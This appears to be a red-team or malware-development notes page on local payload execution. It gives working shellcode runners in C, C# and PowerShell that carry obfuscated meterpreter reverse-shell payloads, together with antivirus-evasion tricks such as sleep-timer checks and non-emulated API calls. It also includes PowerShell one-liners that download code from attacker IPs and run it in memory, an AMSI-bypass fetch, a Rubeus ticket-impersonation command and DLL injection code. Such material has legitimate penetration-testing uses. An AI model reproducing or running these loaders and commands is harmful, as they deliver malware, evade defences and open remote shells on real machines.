Local Payload Execution

Shellcode Local Injection

C Shellcode Runners

- Linux Xored Shellcode Runner

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// python3 shellcodeCrypter-msfvenom.py {IP} {PORT} cpp xor 250 linux/x86/meterpreter/reverse_tcp
unsigned char buf[] = "\x20\x73\x12\x45\x4F\x02\xCF\x8A...x32\x71\x02\xDD\x02\xF3\x48";

int main(int argc, char** argv)
{
    char xor_key = 'J';
    int arraysize = (int)sizeof(buf);

    for (int i = 0; i < arraysize - 1; i++)
    {
        buf[i] = buf[i] ^ xor_key;
    }

    int (*ret)() = (int (*)())buf;
    ret();
}

Then to compile:

gcc -o hack.out hack.c -z execstack

- Encrypted Shellcode Runner

The following part of the code should be included in the desired encryption/obfuscation technique:

/*
API functions used to perform the injection part:

- VirtualAlloc: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc

- VirtualProtect: https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect

- CreateThread: https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread
*/

// Example of continuation of .\Hellshell.exe .\payload.bin uuid
int main() {

    PBYTE       pDeobfuscatedPayload = NULL;
    SIZE_T      sDeobfuscatedSize = NULL;

    // Prinitng some information
    printf("[i] Injecting Shellcode The Local Process Of Pid: %d \n", GetCurrentProcessId());

    printf("[#] Press <Enter> To Decrypt ... ");
    getchar();

    printf("[i] Decrypting ...");
    /*
    This is what we need to change depending on the encryption technique used.
    Add this main function below the encryption technique used and change this acording to the specific decryption function.
    Go to encryption section to locate the parameters needed for each one.
    */
    if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
        return -1;
    }
    printf("[+] DONE !\n");

    printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);


    printf("[#] Press <Enter> To Allocate ... ");
    getchar();
    // Allocating memory the size of sDeobfuscatedSize
    // With memory permissions set to read and write so that we can write the payload later
    PVOID pShellcodeAddress = VirtualAlloc(NULL, sDeobfuscatedSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pShellcodeAddress == NULL) {
        printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
        return -1;
    }


    printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);

    printf("[#] Press <Enter> To Write Payload ... ");
    getchar();

    // Copying the payload to the allocated memory
    memcpy(pShellcodeAddress, pDeobfuscatedPayload, sDeobfuscatedSize);
    // Cleaning the pDeobfuscatedPayload buffer, since it is no longer needed
    memset(pDeobfuscatedPayload, '\0', sDeobfuscatedSize);


    DWORD dwOldProtection = NULL;
    // Setting memory permissions at pShellcodeAddress to be executable
    if (!VirtualProtect(pShellcodeAddress, sDeobfuscatedSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
        printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
        return -1;
    }

    printf("[#] Press <Enter> To Run ... ");
    getchar();

    // Running the shellcode as a new thread's entry 
    if (CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
        printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
        return -1;
    }

    // Freeing pDeobfuscatedPayload
    HeapFree(GetProcessHeap(), 0, pDeobfuscatedPayload);
    printf("[#] Press <Enter> To Quit ... ");
    getchar();

    return 0;
}

C# Shellcode Runners

- Basic Shellcode Runner

! Before compiling this project, we must set the CPU architecture to x64 since we are using 64-bit shellcode. In VS, this is done through the CPU drop down menu > Configuration Manager > <New…> > accept the new platform as x64.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace ConsoleApp1
{
    class Program
    {
/* The first step is to use DllImport to import the three Win32 APIs and configure the appropriate
argument data types. */

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        static void Main(string[] args)
        {
/* The first, buf, is our shellcode. Next is our size variable that stores the size of our buf variable, We
use Marshal.Copy, but we don’t have to specify the .NET namespace of [System.Runtime.InteropServices.Marshal]. */

            byte[] buf = new byte[630] //Here we copy the shellcode generated with other program like msfvenom
            {
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
                // ...
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
            };
/* WaitForSingleObject API to let the shellcode finish execution. */
            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

- Make it available for Reflective Load

To create a managed DLL that can be available through reflection, for example, for Powershell Reflective Load, we need to copy the DllImport statements as-is and then create a runner method with the prefixes public, static, and void:

public class Class1
{
    [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

    [DllImport("kernel32.dll")]
    static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

    public static void runner()
    {
        byte[] buf = new byte[630]
        {
            0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            // ...
            0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
        };

        int size = buf.Length;
        IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
        Marshal.Copy(buf, 0, addr, size);
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        WaitForSingleObject(hThread, 0xFFFFFFFF);
    }
}

- Encrypting, Sleep Timers and Non-emulated APIs for the C# Shellcode Runner

To do a Caesar cipher encryption, first we create a C# application named Helper:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace Helper
{
    class Program
    {
        static void Main(string[] args)
        {
            //msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.XX.XX LPORT=443 -f csharp
            byte[] buf = new byte[770] {};

            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint)buf[i] + 2) & 0xff);
            }

            StringBuilder hex = new StringBuilder(encoded.Length * 2);
            foreach (byte b in encoded)
            {
                hex.AppendFormat("0x{0:x2}, ", b);
            }

            Console.WriteLine("The payload is: " + hex.ToString());
            Console.WriteLine("Length was: " + buf.Length.ToString());
        }
    }
}

Then we create a C# app named Met and implement that encoded shellcode:

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;

namespace Met
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

/*
VirtualAllocExNuma API. The “Numa” suffix (which refers to asystem design to optimize memory usage on multi-processor servers303) makes this a relatively
uncommon API. In essence, this API allocates memory just like VirtualAllocEx but it is optimized to be used with a specific CPU. Obviously, this type of optimization is not required on a standard single-CPU
workstation. Because of this, some antivirus vendors do not emulate VirtualAllocExNuma and, in this case, its execution by the AV emulator will not result in a successful memory allocation.
We could also use Win32 FlsAlloc
*/
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);

        [DllImport("kernel32.dll")]
        static extern IntPtr GetCurrentProcess();

        static void Main(string[] args)
        {
            //Sleep timer bypass
            DateTime t1 = DateTime.Now;
            Sleep(2000);
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if (t2 < 1.5)
            {
                return;
            }
            Console.WriteLine("Sleep timer bypassed!");

            //Non emulated api's
            IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
            if (mem == null)
            {
                return;
            }
            Console.WriteLine("API Emulation done!");

            byte[] buf = new byte[770] { };
            byte[] encoded = new byte[buf.Length];
            for (int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
            }
            buf = encoded;
            Console.WriteLine("Cipher decrypted!");

            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Console.WriteLine("Allocation Complete!");

            Marshal.Copy(buf, 0, addr, size);
            Console.WriteLine("Copy done!");

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            Console.WriteLine("Thread Created");

            WaitForSingleObject(hThread, 0xFFFFFFFF);
            Console.WriteLine("Reached End");
        }
    }
}

- XOR Encoder

We can apply this to all the other c# payloads we are discussing, but we take the Shellcode Runner as an example.

VS Project: https://github.com/chvancooten/OSEP-Code-Snippets/tree/main/XOR%20Shellcode%20Encoder

- XOR Decoder

Once we have encoded our shellcode with the previous XOR Encoder or with other tool (Shellcode Encoders), we can use the following C# code to decode it and add with the previous parameters, create a Shellcode Runner:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace gimmeshell
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);

        private static byte[] xor(byte[] cipher, byte[] key)
        {
            byte[] xored = new byte[cipher.Length];
            for (int i = 0; i < cipher.Length; i++)
            {
                xored[i] = (byte)(cipher[i] ^ key[i % key.Length]);
            }
            return xored;
        }

        static void Main(string[] args)
        {
            DateTime t1 = DateTime.Now;
            Sleep(4000);
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if (t2 < 1.5)
            {
                return;
            }

            string key = "a70f8922029506d2e37f375fd638cdf9e2c039c8a1e6e01189eeb4efb";
            byte[] xorbuf = { encryptedShellcode };
            byte[] buf = xor(xorbuf, Encoding.ASCII.GetBytes(key));
            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

PS Shellcode/Assembly Runners

- Reflection Shellcode Runner

The reflection technique is used to resolve any Win32 API without using the Add-Type keyword

This completely avoids writing to the hard disk.

In review, we repeat the LookupFunc method that resolves the Win32 API. Then we create the DelegateType. Finally, we call GetDelegateForFunctionPointer to link the function address and the DelegateType.

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp = @()
    $assem.GetMethods() | ForEach-Object {
        If($_.Name -eq "GetProcAddress") {
            $tmp += $_
        }
    }
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)]
        [Type[]] $func,
        [Parameter(Position = 1)]
        [Type] $delType = [Void]
    )
    
    $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

    $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
    $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0#Shellcode

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)

$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0, $lpMem, [IntPtr]::Zero, 0, [IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

- Reflective Load

To load precompiled C# assembly (To generate it o go to C# DLL Shellcode Runner) directly into memory without touching disk:

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/ClassLibrary.dll')

$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

Example to reflective load an assembly:

powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/amsi.txt') | IEX

$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/Rubeus.exe')

$assem = [System.Reflection.Assembly]::Load($data)

[Rubeus.Program]::Main("purge".Split())

[Rubeus.Program]::Main("s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

DLL Local Injection

Open Visual Studio, create a new project, set the programming language to C++, and select Dynamic-Link Library (DLL). This will create a DLL skeleton code that will be modified.

Remove precompiled headers.

- DLL to inject (C)

This is a message box, replace with the actual payload.

#include <Windows.h>
#include <stdio.h>

VOID MsgBoxPayload() {
    MessageBoxA(NULL, "Hacking With MaldevAcademy", "Wow!", MB_OK | MB_ICONINFORMATION);
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    switch (dwReason) {
    case DLL_PROCESS_ATTACH: {
        MsgBoxPayload();
        break;
    };
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

- Tool for locally injecting DLLs (C)

The code below will take the DLL's name as a command line argument, load it using LoadLibraryA , and perform some error checking to ensure the DLL loaded successfully.

#include <Windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
    if (argc < 2) {
        printf("[!] Missing Argument; Dll Payload To Run\n");
        return -1;
    }

    printf("[i] Injecting \"%s\" To The Local Process Of Pid: %d\n", argv[1], GetCurrentProcessId());
    printf("[+] Loading Dll... ");

    if (LoadLibraryA(argv[1]) == NULL) {
        printf("[!] LoadLibraryA Failed With Error: %d\n", GetLastError());
        return -1;
    }

    printf("[+] DONE!\n");
    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}

Last updated